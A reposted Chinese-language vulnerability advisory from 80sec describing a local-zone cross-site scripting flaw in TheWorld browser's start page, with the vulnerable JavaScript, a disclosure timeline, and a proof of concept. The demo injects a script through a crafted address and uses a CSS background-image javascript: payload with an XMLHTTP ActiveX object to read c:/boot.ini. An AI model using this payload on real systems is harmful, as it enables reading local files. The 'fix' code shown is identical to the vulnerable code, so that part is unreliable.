漏洞說(shuō)明：http://www.80sec.com/360-sec-browser-localzone-xss.html

　　文檔來(lái)源:http://www.80sec.com/release/The-world-browser-locale-zone-xss-POC.txt

　　漏洞分析：世界之窗瀏覽器在起始頁(yè)面是以res://E:\PROGRA~1\THEWOR~1.0\languages\chs.dll/TWHOME.HTM的形式來(lái)處理的，而由于缺乏對(duì)res協(xié)議安全的必要控制，導(dǎo)致頁(yè)面的權(quán)限很高，而該頁(yè)面中存在的一個(gè)xss問(wèn)題將導(dǎo)致本地跨域漏洞，簡(jiǎn)單分析如下：

<script language="JavaScript">
var nOldCount = 0;
for( i = 0; i < g_nCountOld; i )
{
str_url = g_arr_argUrlOld[i];
str_name = g_arr_argNameOld[i];
str_td = “<tr ID=’twOldItem” i ”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’刪除當(dāng)前項(xiàng)’ onclick=\”javascript:tw_DeleteItemOld(’” i ”‘);\”>” “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );
str_td = “<td><a target=’_blank’ href=’” str_url “‘>” str_name “</a></td></tr>”;
document.write( str_td );
nOldCount = i;
g_bHasLastUrl = true;
}
</script>



　　str_name和str_url不經(jīng)過(guò)濾地直接輸出，由于該頁(yè)面處于本地安全區(qū)域，所以擁有很高的權(quán)限，可以做很多跨域操作，包括讀取文件和運(yùn)行本地程序。

　　漏洞修補(bǔ)：

<script language="JavaScript">
var nOldCount = 0;
for( i = 0; i < g_nCountOld; i )
{
str_url = g_arr_argUrlOld[i];
str_name = g_arr_argNameOld[i];
str_td = “<tr ID=’twOldItem” i ”‘><td valign=’top’ width=’64′><div align=’right’><a style=’cursor:hand’ title=’刪除當(dāng)前項(xiàng)’ onclick=\”javascript:tw_DeleteItemOld(’” i ”‘);\”>” “<img border=’0′ src=’twpage_delete.gif’ width=’16′ height=’16′></div></a></td>”;
document.write( str_td );
str_td = “<td><a target=’_blank’ href=’” str_url “‘>” str_name “</a></td></tr>”;
document.write( str_td );
nOldCount = i;
g_bHasLastUrl = true;
}
</script>



　　已經(jīng)用js控制DOM顯示了

　　漏洞演示：這里提供測(cè)試方法可以讀取c:/boot.ini

　　1 打開(kāi)如下地址

sc:h’><script>alert(document.write(unescape(””)))</script>


　　2 上面將導(dǎo)致一個(gè)不可訪問(wèn)的頁(yè)面，然后直接關(guān)閉tw瀏覽器( 沒(méi)有好的辦法crash)

　　3 重新打開(kāi)tw瀏覽器，可以發(fā)現(xiàn)http://www.80sec.com/1.css中的內(nèi)容被解析，并且有本地域的權(quán)限。

　　1.css內(nèi)容，換成其他js代碼一樣執(zhí)行

body {
background-image: url('javascript:alert(document.location);xmlhttp=new ActiveXObject("Msxml2.XMLHTTP.3.0");xmlhttp.open("GET","c:/boot.ini",false);xmlhttp.send();alert(xmlhttp.responseText);')
}


　　漏洞狀態(tài)：

　　2008-06-24通知廠商

　　2008-06-25修補(bǔ)

　　http://www.ioage.com/cnnew/uplog.htm

最新評(píng)論